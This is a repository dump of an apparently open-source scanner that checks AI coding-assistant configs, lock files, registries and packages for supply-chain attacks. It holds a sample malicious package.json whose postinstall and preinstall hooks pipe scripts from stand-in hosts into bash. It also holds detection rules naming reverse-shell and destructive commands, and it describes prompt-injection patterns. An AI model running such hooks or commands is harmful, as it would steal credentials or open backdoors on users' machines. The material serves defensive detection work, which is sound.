                    if wf_file.suffix in ('.yml', '.yaml') and wf_file.is_file():
                        _collect(self.dependency_checker.check_github_actions(wf_file))

            # ===== Lock file poisoning checks =====

            package_lock = proj_path / 'package-lock.json'
            if package_lock.exists():
                _collect(self.dependency_checker.check_package_lock_json(package_lock))

            yarn_lock = proj_path / 'yarn.lock'
            if yarn_lock.exists():
                _collect(self.dependency_checker.check_yarn_lock(yarn_lock))

            poetry_lock = proj_path / 'poetry.lock'
            if poetry_lock.exists():
                _collect(self.dependency_checker.check_poetry_lock(poetry_lock))

            cargo_lock = proj_path / 'Cargo.lock'
            if cargo_lock.exists():
                _collect(self.dependency_checker.check_cargo_lock(cargo_lock))

            # ===== Registry substitution attack checks =====

            npmrc = proj_path / '.npmrc'
            if npmrc.exists():
                _collect(self.dependency_checker.check_npmrc(npmrc))

            for pip_conf_name in ['pip.conf', 'pip.ini']:
                pip_conf = proj_path / pip_conf_name
                if pip_conf.exists():
                    _collect(self.dependency_checker.check_pip_conf(pip_conf))

            # Global ~/.npmrc (scan once from root project)
            if proj_path == root_path:
                home_npmrc = Path.home() / '.npmrc'
                if home_npmrc.exists():
                    _collect(self.dependency_checker.check_npmrc(home_npmrc))

                # Global pip config (platform-specific locations)
                import platform as _platform
                if _platform.system() == 'Windows':
                    import os as _os
                    appdata = _os.environ.get('APPDATA', '')
                    if appdata:
                        win_pip = Path(appdata) / 'pip' / 'pip.ini'
                        if win_pip.exists():
                            _collect(self.dependency_checker.check_pip_conf(win_pip))
                else:
                    for global_pip in [Path('/etc/pip.conf'), Path.home() / '.config' / 'pip' / 'pip.conf']:
                        if global_pip.exists():
                            _collect(self.dependency_checker.check_pip_conf(global_pip))

        # 3. Check file changes
        config_files = []
        for proj_path in project_roots:
            config_files.extend([
                proj_path / '.claude' / 'settings.json',
                proj_path / '.claude' / 'config.json',
                proj_path / 'CLAUDE.md',
                proj_path / '.cursorrules',
                proj_path / 'package.json',
                proj_path / 'package-lock.json',
                proj_path / 'yarn.lock',
                proj_path / 'poetry.lock',
                proj_path / 'Cargo.lock',
                proj_path / '.npmrc',
                proj_path / 'pip.conf',
                proj_path / 'pip.ini',
                proj_path / 'requirements.txt',
                proj_path / 'Pipfile',
                proj_path / 'setup.py',
                proj_path / 'pyproject.toml',
            ])

        changes = self.file_monitor.check_changes([f for f in config_files if f.exists()])
        results['file_changes'] = {
            'new': [str(f) for f in changes['new']],
            'modified': [str(f) for f in changes['modified']],
            'deleted': [str(f) for f in changes['deleted']]
        }

        # 4. Aggregate security issues
        all_issues = results['security_issues']
        critical_issues = [i for i in all_issues if i.get('severity') == 'CRITICAL']
        warning_issues = [i for i in all_issues if i.get('severity') == 'WARNING']

        results['security_issues'] = {
            'critical': len(critical_issues),
            'warning': len(warning_issues),
            'total': len(all_issues),
            'details': all_issues
        }

        return results

    def print_report(self, results: Dict):
        """Print report"""
        print("=" * 60)
        print("AI Security Scanner v2.0 - Comprehensive Report")
        print("=" * 60)

        # Projects found
        print(f"\n[Projects Found]: {len(results['projects_found'])}")
        for proj_path in results['projects_found']:
            types = results['project_types'].get(proj_path, [])
            print(f"  - {proj_path}")
            if types:
                print(f"    Types: {', '.join(types)}")

        # File changes
        if results.get('file_changes') and any(results['file_changes'].values()):
            print(f"\n[File Changes]:")
            for change_type, label in [('new', '+'), ('modified', '~'), ('deleted', '-')]:
                files = results['file_changes'].get(change_type, [])
                if files:
                    print(f"  {change_type.capitalize()}: {len(files)}")
                    for f in files[:5]:
                        print(f"    {label} {f}")

        # AI configuration issues (new)
        ai_issues = results.get('ai_config_issues', [])
        if ai_issues:
            print(f"\n[AI Config Security]: {len(ai_issues)} issues")
            for issue in ai_issues:
                severity = issue.get('severity', 'UNKNOWN')
                msg = issue.get('message', 'Unknown issue')
                file = issue.get('file', '')
                remediation = issue.get('remediation', '')
                print(f"  [{severity}] {msg}")
                if file:
                    print(f"    File: {file}")
                if remediation:
                    print(f"    Fix: {remediation}")

        # Dependency issues
        if results['dependency_issues']:
            print(f"\n[Dependency Issues]: {len(results['dependency_issues'])}")
            for issue in results['dependency_issues']:
                severity = issue.get('severity', 'UNKNOWN')
                msg = issue.get('message', 'Unknown issue')
                file = issue.get('file', 'Unknown file')
                remediation = issue.get('remediation', '')
                damage = issue.get('damage', '')
                line = issue.get('line', '')

                print(f"  [{severity}] {msg}")
                loc = file
                if line:
                    loc = f"{file}:{line}"
                print(f"    File: {loc}")
                if damage:
                    print(f"    Risk: {damage}")
                if remediation:
                    print(f"    Fix: {remediation}")

        # Summary
        sec = results['security_issues']
        print(f"\n{'='*60}")
        print(f"[Summary]")
        print(f"  Projects scanned: {len(results['projects_found'])}")
        print(f"  Total issues:     {sec.get('total', 0)}")
        print(f"  Critical:         {sec['critical']}")
        print(f"  Warning:          {sec['warning']}")

        if sec['critical'] > 0:
            print(f"\n{'='*60}")
            print("EMERGENCY RESPONSE GUIDE")
            print("=" * 60)
            print("1. STOP - Do not run install/build commands")
            print("2. ROTATE - All API keys, tokens, passwords that may be exposed:")
            print("   - OpenAI/Anthropic/LLM API keys")
            print("   - AWS/GCP/Azure credentials")
            print("   - Database passwords")
            print("   - npm/PyPI tokens")
            print("3. AUDIT - Check git history for when malicious content was introduced:")
            print("   git log --diff-filter=A -- <suspicious-file>")
            print("4. REMOVE - Delete malicious packages/configs:")
            print("   npm audit / pip-audit / cargo audit")
            print("5. VERIFY - Check lock file integrity:")
            print("   package-lock.json / poetry.lock / Cargo.lock")
            print("6. NOTIFY - Alert security team and affected users")
            print("7. REPORT - File reports:")
            print("   - npm: https://www.npmjs.com/advisories")
            print("   - PyPI: https://pypi.org/security/")
            print("   - GitHub: https://github.com/advisories")
            print("=" * 60)

        print("=" * 60)


def main():
    """Main function"""
    import argparse

    parser = argparse.ArgumentParser(description='AI Security Auto Scanner')
    parser.add_argument('-d', '--directory', default='.', help='Directory to scan')
    parser.add_argument('--no-recursive', action='store_true', help='Disable recursive scan')
    parser.add_argument('-o', '--output', help='Output JSON file')
    args = parser.parse_args()

    scanner = AutoSecurityScanner()
    results = scanner.auto_scan(args.directory, recursive=not args.no_recursive)

    scanner.print_report(results)

    if args.output:
        with open(args.output, 'w') as f:
            json.dump(results, f, indent=2)
        print(f"\nReport saved to: {args.output}")

    # Return error code when CRITICAL issues exist
    if results['security_issues']['critical'] > 0:
        return 1
    return 0


if __name__ == '__main__':
    exit(main())


path: CHANGELOG.md
content: # Changelog

All notable changes to this project will be documented in this file.

The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).

## [2.1.0] - 2026-04-03

### Added
- **Lock file poisoning detection**: `package-lock.json` (npm v1/v2/v3), `yarn.lock`, `poetry.lock`, `Cargo.lock`
  - Detects non-official resolved URLs (CRITICAL)
  - Detects missing integrity/checksum hashes (WARNING)
  - Cross-references lock file entries against known malicious package database
  - Detects git-sourced dependencies in lock files
- **Registry substitution attack detection**: `.npmrc`, `pip.conf`/`pip.ini`
  - `.npmrc`: global registry overrides, scoped registry redirects, hardcoded auth tokens, `always-auth=true`
  - `pip.conf`/`pip.ini`: non-official `index-url`, `extra-index-url` dependency confusion risk, `trusted-host` TLS bypass
  - Scans project-level and global config files (`~/.npmrc`, platform-specific pip config)
- Lock files and registry configs added to file change monitoring

### Changed
- All Chinese text in source code and config translated to English

## [2.0.1] - 2026-04-03

### Fixed
- Removed Chinese description from SKILL.md metadata to ensure all documentation is in English
- Replaced explicit prompt injection examples with descriptive explanations to avoid triggering security scanners
- Removed references to missing installer files (install.sh, install.ps1, .claude/commands/security-scan.md)
- Cleaned up package bundle by excluding non-essential files (tests, reports, cache files)

## [2.0.0] - 2026-04-03

### Added
- Cross-platform support (Windows, macOS, Linux)
- AI assistant hooks detection (Claude Code, Cursor)
- MCP server security detection
- Prompt injection attack detection
- Supply chain attack detection for npm, PyPI, and Rust
- Typosquatting protection for AI ecosystem packages (openai, anthropic, litellm, langchain, etc.)
- Version-aware malicious package detection
- GitHub Actions security scanning
- File change monitoring with hash-based detection
- Comprehensive JSON and text reporting
- CI/CD integration support

### Security
- Detection of 30+ known malicious packages
- Protection against dependency confusion attacks
- Detection of dangerous npm lifecycle scripts (postinstall, preinstall, prepare)
- Python setup.py malicious code detection
- Hidden Unicode character detection in prompt files

## [1.0.0] - 2026-04-02

### Added
- Initial release
- Basic hooks configuration detection
- npm package.json scanning
- Python requirements.txt scanning
- Core CLI interface



path: config.yaml
content: # AI Security Scanner v2.0 Configuration
# Cross-platform configuration file, supports Windows/macOS/Linux

# Scan paths (supports multiple)
scan_paths:
  - ./projects
  - ~/work
  - ~/dev

# Exclude patterns (glob style)
exclude_patterns:
  - "**/node_modules/**"
  - "**/dist/**"
  - "**/build/**"
  - "**/.git/**"
  - "**/__pycache__/**"
  - "**/venv/**"
  - "**/.venv/**"
  - "**/vendor/**"
  - "**/*.min.js"
  - "**/*.bundle.js"

# Enabled detection rules
rules:
  enabled:
    # ── Critical: Remote code execution ──
    - HOOK-001  # curl | bash
    - HOOK-002  # wget | bash
    - HOOK-003  # bash -c curl
    # ── Critical: Destructive commands ──
    - HOOK-004  # rm -rf
    - HOOK-005  # del /s /q
    - HOOK-006  # format X:
    # ── Critical: Privilege escalation ──
    - HOOK-007  # chmod 777
    - HOOK-008  # sudo rm/chmod
    # ── Warning: Code execution ──
    - HOOK-010  # eval()
    - HOOK-011  # python -c
    - HOOK-012  # node -e
    - HOOK-013  # powershell
    - HOOK-014  # base64 --decode
    # ── Warning: Network backdoor ──
    - HOOK-020  # nc -e
    - HOOK-021  # bash /dev/tcp
    - HOOK-022  # curl -o *.sh
    # ── Supply chain: npm ──
    - SUPPLY-001  # postinstall dangerous command
    - SUPPLY-002  # preinstall dangerous command
    - SUPPLY-003  # prepare suspicious command
    # ── Supply chain: Python ──
    - SUPPLY-010  # git URL dependency
    - SUPPLY-011  # unofficial PyPI index (dependency confusion)
    - SUPPLY-012  # setup.py cmdclass
    - SUPPLY-013  # setup.py os.system/subprocess
    # ── Supply chain: GitHub Actions ──
    - SUPPLY-020  # Action references unpinned branch (CRITICAL)
    - SUPPLY-021  # Action references short SHA (INFO)
    # ── Claude Code / AI Assistant ──
    - CLAUDE-001  # MCP server external URL
    - CLAUDE-002  # Prompt injection attack
    - CLAUDE-003  # hooks calling external URL
    - CLAUDE-004  # hooks referencing sensitive environment variables
    - CLAUDE-005  # hidden Unicode characters
    # ── Code obfuscation ──
    - OBFUSC-001  # hex-encoded strings
    - OBFUSC-002  # exec/eval + base64 decode
    - OBFUSC-003  # __import__ dynamic import of sensitive modules
    - OBFUSC-004  # chr() building string character by character
    - OBFUSC-005  # exec(compile(...))
    - OBFUSC-006  # exec(bytes.fromhex(...))

  # Info-level rules (disabled by default, enable as needed)
  disabled:
    - HOOK-030  # npm install -g
    - HOOK-031  # pip install
    - HOOK-032  # cargo install

# File types to scan
scan:
  file_types:
    # AI assistant configuration
    - settings.json
    - config.json
    - CLAUDE.md
    - .cursorrules
    # Package managers
    - package.json
    - requirements.txt
    - requirements-dev.txt
    - Pipfile
    - pyproject.toml
    - setup.py
    - setup.cfg
    - Cargo.toml
    # CI/CD
    - "*.yml"
    - "*.yaml"

  # Maximum file size (MB)
  max_file_size: 10

  # Directory recursion depth (-1 for unlimited)
  max_depth: -1

  # Whether to follow symlinks
  follow_symlinks: false

# Report settings
report:
  format: json          # text | json | markdown
  output_dir: ./reports
  retention_days: 30
  include_safe_files: false

# Notification settings
notifications:
  # Email notifications
  email:
    enabled: false
    smtp_server: smtp.example.com
    smtp_port: 587
    use_tls: true
    username: [REDACTED_SECRET]
    password_env: SMTP_PASSWORD  # Read from environment variable, do not hardcode
    from_addr: [REDACTED_SECRET]
    to_addrs:
      - [REDACTED_SECRET]

  # Webhook notifications (Slack / Discord / DingTalk)
  webhook:
    enabled: false
    url_env: SECURITY_WEBHOOK_URL  # Read from environment variable
    type: slack           # slack | discord | dingtalk | custom

  # Native system notifications
  system:
    enabled: true   # macOS: osascript  Windows: toast  Linux: notify-send

# CI/CD mode
ci:
  fail_on_critical: true   # Return exit code 2 when CRITICAL issues found
  fail_on_warning: false   # Return exit code 1 when WARNING issues found
  output_format: json
  upload_artifact: true

# Performance
performance:
  parallel_files: 4
  use_cache: true
  cache_ttl_hours: 24


path: README.md
content: # AI Supply Chain Security

[Homepage](https://github.com/javamagong/ai-supply-chain-security) | [Issues](https://github.com/javamagong/ai-supply-chain-security/issues) | [License: MIT](https://github.com/javamagong/ai-supply-chain-security/blob/main/LICENSE)

Cross-platform supply chain security scanner for the AI coding era - Detect malicious hooks, MCP servers, prompt injection, and supply chain attacks

## Language

- [English](README.md) (This document)
- [中文](README_ZH.md)

## Quick Start

### OpenClaw
```bash
openclaw skills install ai-supply-chain-security
```

### Manual Installation
```bash
git clone https://github.com/javamagong/ai-supply-chain-security.git
cd ai-supply-chain-security
python ai_scanner.py --help
```

## Features

### 1. AI Assistant Hooks Detection
Detect malicious configurations in `.claude/settings.json`, `.cursorrules`, and `CLAUDE.md`

### 2. MCP Server Security
Scan MCP server configurations for potential security risks

### 3. Prompt Injection Detection
Identify prompt injection attacks and hidden malicious instructions

### 4. Supply Chain Security
- npm package vulnerability detection
- PyPI package security scanning
- Rust crate analysis
- Dependency confusion attack protection

### 5. Typosquatting Protection
Detect typosquatted packages targeting AI ecosystem (openai, anthropic, litellm, langchain, etc.)

## CLI Usage

```bash
# Scan current directory
python ai_scanner.py

# Scan specific directory
python ai_scanner.py -d /path/to/project

# Full scan with auto-discovery
python auto_scanner.py

# Generate JSON report
python ai_scanner.py -f json -o report.json
```

## Configuration

Edit `config.yaml` to customize:
- Scan paths
- Notification settings (SMTP, Webhook)
- Severity thresholds
- Custom detection rules

## Requirements

- Python 3.8+
- See `requirements.txt` for dependencies

## License

MIT-0 - See [LICENSE](LICENSE)

## Author

JavaMaGong - [GitHub](https://github.com/javamagong)


path: README_ZH.md
content: # AI Supply Chain Security

AI Coding 时代的供应链与 AI hooks 安全扫描器
支持 **Claude Code** · **OpenClaw** · **CLI** · **CI/CD**

[主页](https://github.com/javamagong/ai-supply-chain-security) | [问题](https://github.com/javamagong/ai-supply-chain-security/issues) | [许可证: MIT](https://github.com/javamagong/ai-supply-chain-security/blob/main/LICENSE)

---

## 为什么选择这个工具?

AI 编程助手引入了传统扫描器无法检测的新攻击面:

- `.claude/settings.json` 中的恶意 hooks 会在每次提交时静默泄露源代码
- 假冒 MCP 服务器窃取 API 密钥
- 拼写抢注包如 `opeanai` 和 `litelm` 专门针对 AI 开发者
- `CLAUDE.md` 中的 Prompt 注入劫持 AI 助手行为

---

## 核心功能

### 1. AI 助手 Hooks 检测

扫描并修复:
- Claude Code `.claude/settings.json` 配置
- Cursor `.cursorrules` 文件
- 通用 `CLAUDE.md` 系统提示

### 2. MCP 服务器安全

检测:
- 未经验证的 MCP 服务器源
- 过度权限请求
- 可疑的环境变量访问

### 3. Prompt 注入检测

识别:
- 指令覆盖攻击
- 角色劫持尝试
- 虚假紧急指令
- 隐藏 Unicode 字符
- Base64 编码的隐藏指令

### 4. 供应链安全

**npm 包:**
- 已知恶意包 (colors, coa, rc 等)
- 危险生命周期脚本
- 依赖混淆攻击
- 拼写抢注

**Python 包:**
- setup.py 中的恶意代码
- pyproject.toml 可疑配置
- Git URL 依赖风险

**Rust 包:**
- build.rs 恶意代码
- 可疑的 cargo.toml

### 5. GitHub Actions 安全

- 未固定的 Action 版本
- 密钥泄露到日志
- 危险的触发器配置

---

## 快速开始

### OpenClaw 安装
```bash
openclaw skills install ai-supply-chain-security
```

### 手动安装
```bash
git clone https://github.com/javamagong/ai-supply-chain-security.git
cd ai-supply-chain-security
python ai_scanner.py --help
```

---

## 使用指南

### 基本扫描
```bash
# 扫描当前目录
python ai_scanner.py

# 扫描指定目录
python ai_scanner.py -d /path/to/project

# 完整扫描
python ai_scanner.py -d /path/to/project --full
```

### 自动发现扫描
```bash
# 扫描目录下的所有项目
python auto_scanner.py -d /path/to/projects

# 只显示严重问题
python auto_scanner.py -d /path/to/projects --severity critical
```

### 输出格式
```bash
# 文本输出 (默认)
python ai_scanner.py -f text

# JSON 输出
python ai_scanner.py -f json -o report.json

# Markdown 报告
python ai_scanner.py -f markdown -o report.md
```

---

## 配置

编辑 `config.yaml`:

```yaml
scan_paths:
  - "./"
  - "../projects"

notification:
  webhook:
    enabled: false
    url: "${SECURITY_WEBHOOK_URL}"
  email:
    enabled: false
    smtp_host: "${SMTP_HOST}"
    smtp_port: 587
    from: "${SMTP_FROM}"
    to: "${SMTP_TO}"
    [REDACTED_SECRET]"

severity_threshold: "medium"

auto_fix: false
```

---

## CI/CD 集成

### GitHub Actions
```yaml
- name: Security Scan
  uses: actions/checkout@v3
  
- name: Run AI Security Scanner
  run: |
    pip install -r requirements.txt
    python ai_scanner.py -d . -f json -o security-report.json
    
- name: Upload Report
  uses: actions/upload-artifact@v3
  with:
    name: security-report
    path: security-report.json
```

---

## 要求

- Python 3.8+
- 依赖见 `requirements.txt`

---

## 许可证

MIT - 详见 LICENSE 文件

---

## 作者

JavaMaGong - https://github.com/javamagong


path: requirements.txt
content: # AI Security Scanner - Python Dependencies

# Core dependencies
pyyaml>=6.0
colorama>=0.4.6
watchdog>=3.0.0

# Optional: for advanced features
# requests>=2.28.0  # webhook notifications
# cryptography>=39.0  # signed reports

# Development
# pytest>=7.0.0
# black>=23.0.0
# mypy>=1.0.0


path: examples/malicious-package.json
content: {
  "name": "malicious-example",
  "version": "1.0.0",
  "description": "示例：恶意 package.json 用于演示供应链投毒检测",
  "scripts": {
    "start": "node app.js",
    "test": "jest",
    "postinstall": "curl https://malicious-site.com/steal-credentials.sh | bash",
    "preinstall": "wget https://evil.com/backdoor.py && python backdoor.py",
    "prepare": "rm -rf node_modules/.cache"
  },
  "dependencies": {
    "express": "^4.18.0",
    "reqeusts": "^2.28.0",
    "flaask": "^2.0.0"
  },
  "devDependencies": {
    "jest": "^29.0.0"
  }
}


path: examples/safe-package.json
content: {
  "name": "safe-example",
  "version": "1.0.0",
  "description": "示例：安全的 package.json",
  "scripts": {
    "start": "node app.js",
    "test": "jest",
    "build": "tsc",
    "lint": "eslint src/"
  },
  "dependencies": {
    "express": "^4.18.0",
    "lodash": "^4.17.21"
  },
  "devDependencies": {
    "jest": "^29.0.0",
    "typescript": "^5.0.0",
    "eslint": "^8.0.0"
  }
}


Security scan verdicts — ClawScan: suspicious | static analysis: suspicious | VirusTotal: clean | SkillSpector:  ()